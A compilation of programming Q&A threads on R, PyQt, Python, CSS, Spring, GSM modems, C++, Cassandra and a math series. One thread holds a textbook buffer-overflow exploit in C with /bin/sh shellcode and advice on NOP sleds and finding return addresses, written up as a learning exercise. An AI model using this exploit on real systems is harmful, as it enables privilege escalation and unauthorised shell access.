Q: Remove empty strings from library(stringr) in R I have a vector of string named words, and I need to remove all empty strings using library(stringr). I tried str_remove_all(words, pattern = ""), but it showed me:

Error: Empty `pattern`` not supported.

What should I do? Any help would be appreciated.

A: How about just use a subset in base R:
words <- words[words != ""]

If perhaps your "empty" words are not really empty, but actually contain one or more whitespace characters, then use grepl to remove them:
words <- words[!grepl("^\\s+$", words)]

A: If you really want to use stringr, then you probably want to use str_subset, which removes elements of a vector, instead of removing the match from each element. Here is a pattern that keeps only strings with at least one character:
str_subset(words, ".+")


text:
Q: Buffer overflow using environment variables I'm trying this code inspired by the "Hacking: The Art of Exploitation" book. It involves exploiting a buffer overflow using the environment variable. The exploitation code is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd"
"\x80";

int main(int argc, char *argv[]) {
  char *env[2] = {shellcode, 0};
  unsigned int i, ret;

  char *buffer = (char *)malloc(160);

  ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow");

  for (i = 0; i < 160; i += 4)
    *((unsigned int *)(buffer + i)) = ret;

  execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env);
  free(buffer);
}

The problem is the base address 0xbffffffa. I read here that the reason for this address is because "the Linux kernel is implemented like so". Still the exploit is not working and resulting in a segmentation fault.
I'm running Ubuntu 14.04 with Kernel version 3.13.0-83-generic on a 64-bit machine and I'm compiling the exploitation code using the following command:
gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit

I also disabled ASLR.
Any ideas on how to determine this based address?
Thanks for the help.

A: The idea with such exploitation is to use nop sled before your actual shellcode. That way, event if your address approximation is bad, there's more chance to hit nop, until your shellcode gets executed.
To get that address, you can cheat (for a start) looking at memory mappings in /proc/<<pid>>/maps.


text:
Q: Interactive interaction of selections with checkboxes I have a popup window in which it reads in a list of options and populates it into groupbox and checkboxes.
I have a selection in which it contains the following data:
my_selection = {'drinks': ['coffee'], 'snacks': ['m&m']}
and I am trying to get the options - coffee and -m&m checked in the popup window.
However my selection can varies, meaning, itemA may have on of the drinksitems, and if I select itemB (itemA is no longer in selection), it could have an item from drinks and 2 items in snacks and I had wanted to make sure the correct option is checked, in the event, if there are same item naming but in different categories or vice verse.
I tried inserting the selection case into the class as follows:
class FormWindow(QtGui.QWidget):
    def __init__(self, main_items, my_selection, parent=None, callback=None):
        ...
        if my_selection:
            for k, v in my.items():
                for i in v:
                    if sub_chk.text() == i:
                        sub_chk.setChecked(True)

It only checks the latest item it found, in this case, only the items in Snacks is taken into account.
import sys
from PyQt4 import QtGui, QtCore
from collections import defaultdict

class FormWindow(QtGui.QWidget):
    def __init__(self, main_items, parent=None, callback=None):
        super(FormWindow, self).__init__(parent=parent)
        self.callback = callback

        layout = QtGui.QVBoxLayout()
        self.checkbox_options = []
        self.menu_tag_dict = defaultdict(set)

        for main_name, sub_name in main_items.items():
            # Set the main item
            groupbox = QtGui.QGroupBox(self)
            groupbox.setTitle(main_name.title())
            groupbox.setLayout(QtGui.QVBoxLayout())
            layout.addWidget(groupbox)

            if sub_name:
                # sub_txt = [(action.text()) for action in sub_name]
                sub_txt = [action for action in sub_name]

                # Creates QCheckbox for each option
                for s in sub_txt:
                    sub_chk = QtGui.QCheckBox(s)
                    self.checkbox_options.append(sub_chk)
                    groupbox.layout().addWidget(sub_chk)

        layout.addStretch()

        self.setLayout(layout)
        self.setWindowTitle('Form Checking')
        self.show()

if __name__ == "__main__":
    app = QtGui.QApplication(sys.argv)
    main_items = {'drinks': ['coffee', 'tea', 'water'], 'snacks': ['biscuits', 'm&m']}
    my_win = FormWindow(main_items)
    sys.exit(app.exec_())

# Example1 of what my selection will return
my_selection = {'drinks': ['coffee'], 'snacks': ['m&m']}

# Example2 of what my selection will return
my_selection = {'drinks': ['water', 'coffee'], 'snacks': ['biscuits']}

A: Assuming that you want to obtain the checked items, then what you should do is to have a reflection of the data by removing or adding the selection according to the status of the checked, in the following example, if you press the button, the checked items will be printed:
import sys
from PyQt4 import QtGui, QtCore
from functools import partial

class FormWindow(QtGui.QWidget):
    checkbox_options_changed = QtCore.pyqtSignal(dict)

    def __init__(self, main_items, parent=None, callback=None):
        super(FormWindow, self).__init__(parent=parent)
        self.callback = callback

        layout = QtGui.QVBoxLayout(self)
        self.checkbox_options = {}

        for main_name, sub_name in main_items.items():
            groupbox = QtGui.QGroupBox()
            groupbox.setTitle(main_name.title())
            lay = QtGui.QVBoxLayout(groupbox)
            layout.addWidget(groupbox)
            self.checkbox_options[main_name] = set()
            for s in sub_name:
                sub_chk = QtGui.QCheckBox(s)
                info = (main_name, s)
                wrapper = partial(self.on_stateChanged, info)
                sub_chk.stateChanged.connect(wrapper)
                lay.addWidget(sub_chk)
        layout.addStretch()
        self.setWindowTitle("Form Checking")

    @QtCore.pyqtSlot(tuple, QtCore.Qt.CheckState)
    def on_stateChanged(self, info, state):
        name, item = info
        option = self.checkbox_options[name]
        if state == QtCore.Qt.Checked:
            option.add(item)
        else:
            if item in option:
                option.remove(item)
        self.checkbox_options_changed.emit(self.checkbox_options)

    def get_checked_items(self):
        return self.checkbox_options

if __name__ == "__main__":
    app = QtGui.QApplication(sys.argv)
    main_items = {
        "drinks": ["coffee", "tea", "water"],
        "snacks": ["biscuits", "m&m"],
    }
    my_win = FormWindow(main_items)
    w = QtGui.QWidget()
    lay = QtGui.QVBoxLayout(w)
    button = QtGui.QPushButton("Print me")
    lay.addWidget(button)
    lay.addWidget(my_win)

    def on_clicked():
        print(my_win.get_checked_items())

    button.clicked.connect(on_clicked)
    my_win.checkbox_options_changed.connect(print)
    w.show()
    sys.exit(app.exec_())

{'drinks': {'coffee', 'tea'}, 'snacks': set()}

{'drinks': {'coffee', 'tea'}, 'snacks': {'biscuits'}}


text:
Q: print function variables if get exception - KeyboardInterrupt In the following simple example, I have a function foo() do something. There is a variable a inside the function. What I would like to do is that when the program catch the KeyboardInterrupt, the local functional variable a can be printed.
Clearly, the following way is not working. Is there anyway can do this?
def foo():
    a = 1
    for _ in xrange(10000):
        a += 1
    return a

try:
    a = foo()
except KeyboardInterrupt:
    print a

Updates (answer some comments below regarding why I want to Control-C):
Actually, my intention is to stop my Keras RNN training process earlier.  Like the following code:
from keras.models import Sequential

def train():
    model = Sequential()
    ....
    model.build()
    ....
    for iteration in range(1, 200):
        ....
        model.fit(X_train, y_train, ...)
        ....
    ....

if __name__ == '__main__':
    try:
        model = train()
    except KeyboardInterrupt:
        model.save_weights("weights.hdf5")

If I stop the training process early, I would like to save the current model weights.

A: In your example, a is local to foo(). Either you need to make it global OR you want to add your exception catch inside foo(). Here's an example of the latter
def foo():
    try:
        a = 1
        for _ in xrange(10000):
            a += 1
        return a
    except KeyboardInterrupt:
        print a

A: You just need to create your model outside the train function, and then pass model as an argument to train. That way you have a valid reference to model in case you interrupt train with Ctrl-C before it returns.
Eg,
from keras.models import Sequential

def train(model):
    model.build()
    ....
    for iteration in range(1, 200):
        ....
        model.fit(X_train, y_train, ...)
        ....
    ....

if __name__ == '__main__':
    try:
        model = Sequential()
        train(model)
    except KeyboardInterrupt:
        model.save_weights("weights.hdf5")

A: Since foo() never completes a is never assigned.  You'll need to break up your function so the caller knows it's last value at any given time.
def foo(a):
   return a + 1

try:
    for _ in xrange(10000):
        a = foo(a)
except KeyboardInterrupt:
    print a

Not sure there's much of a point of doing it that way, but for illustration.  You could also use a global variable but I don't like recommending that for most situations.


text:
Q: evitar quebra de linha dentro de uma tabela, ou tamanho mínimo Galera e possível determinar um tamanho máximo e mínimo para um tabela?
O meu problema e o seguinte, tenho uma tabela com um texto dentro dela, e quando eu diminuo o tamanho da janela do navegar tudo vai ficando espremido dentro dela.
Toquei que o problema so ocorre se eu usar o width: 100%; pois se eu usar o width: 400px; o tabela não achata o seu conteúdo, porem gera uma barra de rolagem, e é exatamente isso que eu quero.
Bom segue o código simples da tabela. Se alguém souber alguma forma de me ajudar fico muito grato.

.layout_geral_fixo {
    position: fixed;
    width: 100%;
    border-spacing: 0;
    border-collapse: collapse;
    background: #484848;
    z-index: 6;
    height: 37px;
}

asasdasdasdasdasdasdasdasdasdasdasdasdasdasd asdasdasdasdasdasdasd

código no jsfiddle

A: Para evitar quebra  de linha em tabela use white-space: nowrap;.
No css externo:
.classDaSuaTRouTD{

   white-space: nowrap;

}

No css inline:
style= "white-space: nowrap;

Quanto a definir o tamanho mínimo você pode por classes nas
 e nas  definindo via css a largura e altura delas, mas usando apenas o white-space: nowrap; a palavra já se adequa a sua table.
OBS: coloque o código  na tr ou td aonde está ocorrendo a quebra de linha

A: Tente usar este:
table {
 table-layout:fixed;
 width:100%;
 border:1px solid #f00;
 word-wrap:break-word;
}

A: Acredito que possa usar 2 parametros,um para definir o minimo e o outro para o maximo de largura:
div.umaclasse {
min-width:100px;
max-width:200px;
}

Se colocar o parametro min-width quando a tela diminuir a sua div irá diminuir junto,porém se chegar a 100px não ira mais diminuir.E com o max-width a div não passaria de 200px.
Para poder ficar com a barra de rolagem podes usar o overflow para definir se ira aparecer:
div.umaclasse {
max-width:100px;       /*esta div tem muito conteudo para apenas 100px*/
overflow:scroll;       /*com isso a barra de rolagem estará sempre habiltada,mas se deixar auto a barra só aparecece se necessário*/
}

No seu código poderia ficar assim:
.layout_geral_fixo {
    position: fixed;
    width: 100%;
    border-spacing: 0;
    border-collapse: collapse;
    background: #484848;
    z-index: 6;
    height: 37px;
    min-width:100px;/*valor minimo px,cm,% etc.*/;
    max-width:200px;/*valor maximo px,,cm,% etc.*/;
    overflow:scroll/*valores:auto,hidden,visible,scroll*/;
}

Pra falar a verdade ésta é minha primeira resposta,então se tiver qualquer erro comente,caso não responda a pergunta ignore(e marque negativo Y-Y).


text:
Q: Convert table html to datatables jquery I have an table and I must to transform it in a "dataTables jQuery" format (tbody, thead...) and I don't know how to do, if possible with jQuery.
This is my table generated (note: this is a return of string method in C# return in a string writer):

        426	05/06/2014 10:14:21	119870	Arquivos reunião	CONTRATO	VICTOR VASCONCELOS DE AQUINO

        436	10/06/2014 11:47:29	119870	Arquivo Mapp	CONTRATO	VICTOR VASCONCELOS DE AQUINO

        416	04/06/2014 14:50:07	119870	Multiplos arquivos	CONTRATO	VICTOR VASCONCELOS DE AQUINO

        434	06/06/2014 14:11:25	119870	Contrato 2	CONTRATO	VICTOR VASCONCELOS DE AQUINO

        419	04/06/2014 14:57:20	119870	Multiplos arquivos Mapp	CONVENIO	VICTOR VASCONCELOS DE AQUINO

        444	18/06/2014 11:18:47	119870	documento	LICITAÇÃO	VICTOR VASCONCELOS DE AQUINO

        441	18/06/2014 09:55:31	119870	Teste	LICITAÇÃO	VICTOR VASCONCELOS DE AQUINO

        443	18/06/2014 10:49:08	119870	Material	LICITAÇÃO	VICTOR VASCONCELOS DE AQUINO

A: If you are trying to add the thead to the table using jQuery, you would do something like this:
$('table tbody').before('

');


text:
Q: Assign data member of a domain class using Spring Is it possible?
Here is a more detailed case:
class A {
    private service x;

    //other members
    //some more methods.
}

bean definition is available for service but I do not want class A to be a spring bean and neither x to be static.
Is this achievable.
EDIT:
My spring configuration:
<bean id="Service" class="com.xx.yy.Service" />
<--!I do not register class A as a bean. Hence cannot use @autowired directly.-->

A: I think you should create the factory for instances of class A which should take care of setting x.
@Service
class FactoryA {

  @Autowired service x;

  public A create() {
    return new A(x);
  }

}

A: It can only be achieved by manually getting the bean from the context.
Service service = context.getBean(Service.class);
A a = new A(service);


text:
Q: Directly read SMS when it arrives via GSM modem in PC over Serial Communication I am using SIM9000A GSM Modem and have it connected it to my PC.
The issue is that whenever SMS is received by my SIM I receive below data in PC:
+CMTI: "SM",8
I want that all incoming SMS should be directly be read in PC and need not send any further command. Something like when SMS comes - GSM modem should actually send SMS content to serial port.
Below is the output received for CPMS enq.
AT+CPMS=?
+CPMS: ("SM"),("SM"),("SM")

A: You can use the AT+CNMI command to tell the GSM modem to direct incoming messages directly to the serial port. The full command, with parameters, is: AT+CNMI=2,2,0,0,0
AT+CNMI=2,1,0,0,0 sets the modem back to indication only mode and AT+CNMI=2,0,0,0,0 does not send any indication when a new message is received.


text:
Q: C++ range for loops with custom step In c++ 11 you can iterate over a container with range for loops :
for (auto i : vec) { /* do stuff */ }

Besides the drawback that iterating in reverse is not that obvious (C++11 reverse range-based for-loop) it is also limited by the fact that you cannot define a custom step for the iteration.
Is there a way to do it? I can't get my mind around it, but imagine an adaptor like
template<typename T>
struct step
{
    T const &container;
    step( T const &cont, int aStep);
    // provide begin()  / end() member functions
    // maybe overload the ++ operator for the iterators ?
};

for (auto i : step(vec, i)) {}

EDIT:
The discussion is about achieving semantics similar to Pythons generators https://wiki.python.org/moin/Generators eg the range() function. Please don't make pointless comments on how this would increase code complexity, no one ever went back to hand written for loops in Python, and even though this is not the case in C++ (I should say that again: this is NOT the case in c++) I wanted to explore ways to write
for (auto i : range(vec, step))

since the new standard provides the facilities to use such syntax. The range() function would be a one time effort and the user of the code would not have to worry about the specifics of the imlpementation

A: Range-based for,
for ( range_declaration : range_expression ) loop_statement

just takes a begin and an end iterator, performing prefix operator++ on them like this:
{
  auto && __range = range_expression ;
  for (auto __begin = begin_expr, __end = end_expr;
       __begin != __end; ++__begin)
  {
    range_declaration = *__begin;
    loop_statement
  }
}

Where begin_expr and end_expr "do the right thing" (see link above for the details). What you can do, is supply a proxy object as range_expression, so that its iterators do what you want. A prime example is Boost's range adaptors library:
#include <boost/range/adaptor/strided.hpp>
#include <boost/range/adaptor/reversed.hpp>

#include <iostream>
#include <vector>

int main()
{
  std::vector<int> input = {1,2,3,4,5,6,7,8,9,10};

  for(const auto& element : boost::adaptors::reverse(input))
    std::cout << element << '\n';
  std::cout << '\n';

  for(const auto& element : boost::adaptors::stride(input,2))
    std::cout << element << '\n';
}

Live demo here.
This is quite similar and virtually equally (if not more) powerful to Python range. You can easily write your own adaptors, see e.g. the answers to this question.

A: This C++-11 feature is mostly a convenience shortcut for the most common case. If you want to exploit the full glory of C/C++ for loop, you'd better do it the long (legacy) way. Trying smart tricks like defining strange increment operators will only lead to your gentle reader (more often than not, yourself a few weeks later) getting utterly confused. Just think what happens if in a week elsewhere you need to increment by one, not by two, and you don't notice the "smart" increment... It is a fine way to introduce subtle, impossible to spot bugs.


text: Q: como usar el WHERE en un SNAPSHOT.DATA.WHERE tengo el siguiente código(imagen), y solo agrego los ITEMS que son diferentes al correo del usuario comparado al correo en el registro, actualmente lo hago con un IF pero ya obteniendo todos los datos de la BD, no quiero hacerlo de esa forma, quiero ahorrar peticiones a firebase y deseo obtenerlos ya desde la consulta a la BD, como puedo hacerlo?...me dijeron que con un where en el snapshot, pero no encuentro un ejemplo claro. gracias.


text:
Q: Cassandra UDF, UDA. Exit the UDF and UDA at first key repetition in map I would like to exit at on first key repetition from the function and aggregate
and return the map. That will help me in improving the performance of my query. As currently it goes through all the records.
I have an aggregate function
create aggregate getdistinct(val1 int, val2 text)
SFUNC createdistinctmap
STYPE map<int,text>
INITCOND ();

and a UDF
    CREATE OR REPLACE FUNCTION db.createdistinctmap ( container map<int,text>, val1 int, val2 text)
    CALLED ON NULL INPUT
    RETURNS map<int,text>
    LANGUAGE java AS
      $$
String val2String = (String) container.get(val1);
if(val2String == null){
    container.put(val1, val2);
}
else{
    System.exit(0);
    //I would like to exit at this point from the function and aggregate
    //and return the container on first key repetition
}
         return container; $$
    ;

call is done like this
select getdistict(column1, column2) from table;


text:
Q: What is the formula to find $a_k = \frac{1}{k} + \frac{1}{2(k+1)}+ \frac{1}{3(k+2)} + \dots $ for any $k \in \mathbb{N}^+$? ...in other words, how can I write
\begin{equation}
a_k = \sum_{n=k}^\infty \frac{1}{n(n-k+1)}
\end{equation}
in a simpelr way? If $k=1$ this is the hard but well know Basel problem: Euler says $a_1=\frac{\pi^2}{6}$. If $k=2$ we have the Mengoli serie (usually written as $\sum_{n=1}^\infty = \frac{1}{n(n+1)}$, but $\sum_{n=2}^\infty = \frac{1}{n(n-1)}$ is the same), and it is easy to see that $a_2=1$. But I can't generalize the result. Other values of the sequence are $a_3=\frac{3}{4}$, $a_4=\frac{11}{18}$, $a_5=\frac{25}{48}$, $a_6=\frac{137}{300}$, $a_7=\frac{49}{120}$, $a_8=\frac{363}{980}$ (I found these with WolframAlpha, but it can't find the general term). I can't guess a formula to be checked by induction. I can't see a pattern and after all looking to these fraction it is clear that some simplifications occur so the online encyclopedia of integer sequences is useless.
Edit
I wrote the serie in this way but there aren't telescopic simplifications. I'm stuck

A: We have
\begin{align*}
\sum_{n=k}^\infty\frac1{n(n-k+1)}&=\sum_{n=0}^\infty\frac1{(n+k)(n+1)}\\
&=\frac{1}{k-1}\sum_{n=0}^\infty\left[\frac1{n+1}-\frac1{n+k}\right]\\
&=\frac{1}{k-1}\lim_{m\to\infty}\sum_{n=0}^{k+m}\left[\frac1{n+1}-\frac1{n+k}\right]\\
\end{align*}
Notice that
\begin{align*}
\sum_{n=0}^{k+m}\frac1{n+1}&=1+\frac{1}{2}+\dots+\frac{1}{k-1}+\color{red}{\frac1{k}+\frac1{k+1}+\dots+\frac1{k+m+1}}\\
\sum_{n=0}^{k+m}\frac1{n+k}&=\color{red}{\frac1k+\frac1{k+1}+\dots+\frac1{k+m+1}}+\frac1{k+m+2}+\dots+\frac1{2k+m-1}+\frac1{2k+m}
\end{align*}
Therefore,
\begin{align*}
\sum_{n=0}^{k+m}\left[\frac1{n+1}-\frac1{n+k}\right]&=1+\frac 12+\dots+\frac1{k-1}-\frac1{k+m+2}-\dots-\frac1{2k+m}\\
&=H_{k-1}-\sum_{n=2}^k\frac1{k+m+n},
\end{align*}
where $H_{k-1}$ is the $(k-1)$th harmonic number. Hence,
\begin{align*}
\frac{1}{k-1}\lim_{m\to\infty}\sum_{n=0}^{k+m}\left[\frac1{n+1}-\frac1{n+k}\right]&=\frac{1}{k-1}\lim_{m\to\infty}\left[H_{k-1}-\sum_{n=2}^k\frac1{k+m+n}\right]\\
&=\frac{H_{k-1}}{k-1}.
\end{align*}

A: Hint. For $k > 1$ write the general term using partial fractions and look for eventual telescoping.